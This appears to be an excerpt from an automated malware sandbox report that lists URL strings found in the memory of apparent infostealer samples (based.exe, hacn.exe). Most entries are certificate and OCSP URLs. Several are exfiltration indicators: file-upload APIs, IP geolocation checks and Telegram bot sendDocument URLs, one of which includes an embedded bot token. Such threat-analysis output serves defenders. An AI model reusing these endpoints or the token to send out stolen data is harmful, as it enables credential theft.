Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: based.exe, 0000000C.00000003.1333224915.0000021B5C0AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: hacn.exe, 0000000D.00000002.1609376041.00000243EE868000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: based.exe, 0000000C.00000002.1724662879.0000021B5C3D0000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1580523962.00000243EE381000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1580926720.00000243EE382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: based.exe, 0000000C.00000002.1723950852.0000021B5C08B000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1594280315.00000243EE2A4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1580523962.00000243EE2A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: based.exe, 0000000C.00000002.1724662879.0000021B5C4B9000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000002.1725310559.0000021B5C5D0000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1453303410.0000021B5C50D000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1378534245.0000021B5C508000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1388507906.0000021B5C50F000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1467932331.0000021B5C4B9000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000C.00000003.1429815916.0000021B5C50F000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1580523962.00000243EE35B000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1590112341.00000243EE35B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: hacn.exe, 0000000D.00000002.1618350771.00007FFB021B5000.00000002.00000001.01000000.0000002C.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545r
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingr
Source: hacn.exe, 0000000D.00000003.1578382403.00000243EEB43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maps.google.com/maps?hl=en&tab=wl
Source: hacn.exe, 0000000D.00000003.1594280315.00000243EE2A4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1580523962.00000243EE2A2000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1598934549.00000243EE2A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: hacn.exe, 0000000D.00000003.1582692553.00000243EEA62000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316164332.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315605392.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318988526.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1316285802.000001C577E17000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317675891.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1316662769.000001C577E17000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1315289126.000001C577E16000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317203802.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1315745840.000001C577E16000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1316800272.000001C577E17000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1315490432.000001C577E16000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1316506893.000001C577E17000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1319248086.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318842488.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264692488.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264526701.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264232384.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264006180.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264347653.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265103881.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265936906.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265839338.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA624C000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA624C000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6250000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316164332.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315605392.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317380900.000001ECA624F000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318988526.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1316285802.000001C577E17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264692488.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264347653.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265103881.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265936906.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265839338.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316164332.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315605392.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318988526.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: hacn.exe, 00000009.00000003.1326122863.000001ECA6247000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://python-hyper.org/en/latest/contributing.html
Source: hacn.exe, 0000000D.00000002.1610124980.00000243EE9DC000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1607682131.00000243EE25D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1580310124.00000243EEA05000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1594041601.00000243EE25D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1587070750.00000243EE9DB000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579672686.00000243EE9F8000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591801483.00000243EE25C000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1585402395.00000243EE256000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584940321.00000243EE9D1000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1599400346.00000243EBE69000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1588484051.00000243EE25C000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1605127161.00000243EBE74000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579134283.00000243EE9D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: svchost.exe	String found in binary or memory: http://schemas.mi
Source: based.exe, 0000000C.00000002.1729060934.0000021B5CBD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: hacn.exe, 00000009.00000003.1328213639.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp, based.exe, 0000000B.00000003.1317555129.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: based.exe, 0000000B.00000003.1318574724.000001C577E18000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: hacn.exe, 0000000D.00000003.1594280315.00000243EE2A4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1580523962.00000243EE2A2000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1598934549.00000243EE2A4000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1582692553.00000243EEA62000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: hacn.exe, 0000000D.00000003.1584485512.00000243EE3ED000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: hacn.exe, 0000000D.00000003.1582692553.00000243EEA62000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: hacn.exe, 0000000D.00000003.1584485512.00000243EE3ED000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crlA
Source: hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: hacn.exe, 0000000D.00000003.1582692553.00000243EEA62000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: hacn.exe, 0000000D.00000003.1582692553.00000243EEA62000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1608704346.00000243EE3EE000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584485512.00000243EE3ED000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: hacn.exe, 0000000D.00000003.1582692553.00000243EEA83000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1581466590.00000243EEA82000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584364077.00000243EEA84000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584425193.00000243EEA8D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: hacn.exe, 0000000D.00000003.1581466590.00000243EEA82000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/q
Source: svchost.exe, 00000000.00000003.1263894899.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264692488.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264526701.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264232384.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264006180.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1264347653.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265103881.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265936906.000002156082D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000000.00000003.1265839338.000002156082D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329866532.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1331225412.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1329145808.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1316886856.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1327137157.000001ECA6250000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317015672.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315956918.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1328714446.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1315227354.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1332352490.000001ECA6244000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1317219326.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 00000009.00000003.1314727927.000001ECA6242000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: hacn.exe, 0000000D.00000003.1589801260.00000243EBE7B000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1582692553.00000243EEA83000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1581466590.00000243EEA82000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1574365729.00000243EEA39000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1584364077.00000243EEA84000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579055654.00000243EEA44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.firmaprofesional.com/cps0
Source: hacn.exe, 0000000D.00000003.1587262963.00000243EDFC9000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578423259.00000243EDFBA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1586736139.00000243EDFDE000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1587927350.00000243EDFDF000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1607031059.00000243EE0F0000.00000004.00001000.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1598180533.00000243EDFE1000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578573993.00000243EDFCD000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1602992042.00000243EDFCA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1606490323.00000243EDFCA000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1578624587.00000243EDFC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com
Source: hacn.exe, 0000000D.00000002.1612263678.00000243EEE5C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: hacn.exe, 0000000D.00000003.1578382403.00000243EEB43000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/history/optout?hl=en
Source: based.exe, 0000000C.00000002.1724662879.0000021B5C3D0000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000002.1607682131.00000243EE25D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1594041601.00000243EE25D000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1591801483.00000243EE25C000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1585402395.00000243EE256000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1588484051.00000243EE25C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
Source: hacn.exe, 0000000D.00000003.1579672686.00000243EE9F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps
Source: hacn.exe, 0000000D.00000003.1580310124.00000243EEA05000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1579672686.00000243EE9F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: hacn.exe, 0000000D.00000003.1589462078.00000243EE388000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1590958342.00000243EE3AF000.00000004.00000020.00020000.00000000.sdmp, hacn.exe, 0000000D.00000003.1577895213.00000243EE385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wwwsearch.sf.net/):
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CDE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CE30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: based.exe, 0000000C.00000002.1729420180.0000021B5CDE4000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/upload
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.anonfiles.com/uploadrW
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServer
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.gofile.io/getServerr
Source: based.exe, 0000000C.00000003.1469057997.0000021B5C8B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.stripe.com/v
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot%s/%s
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot%s/%s)Er?
Source: based.exe, 0000000C.00000003.1344123889.0000021B5C4C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot%s/%s)Er?r
Source: based.exe, 0000000C.00000002.1724508986.0000021B5C2D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot%s/%s0U9
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CD30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7006262545:AAG_Oybxah5yJgAPFw9HTnZfJtepO5xBob8/sendDocument
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CD30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7006262545:AAG_Oybxah5yJgAPFw9HTnZfJtepO5xBob8/sendDocumentPI
Source: based.exe, 0000000C.00000002.1729178072.0000021B5CD8C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
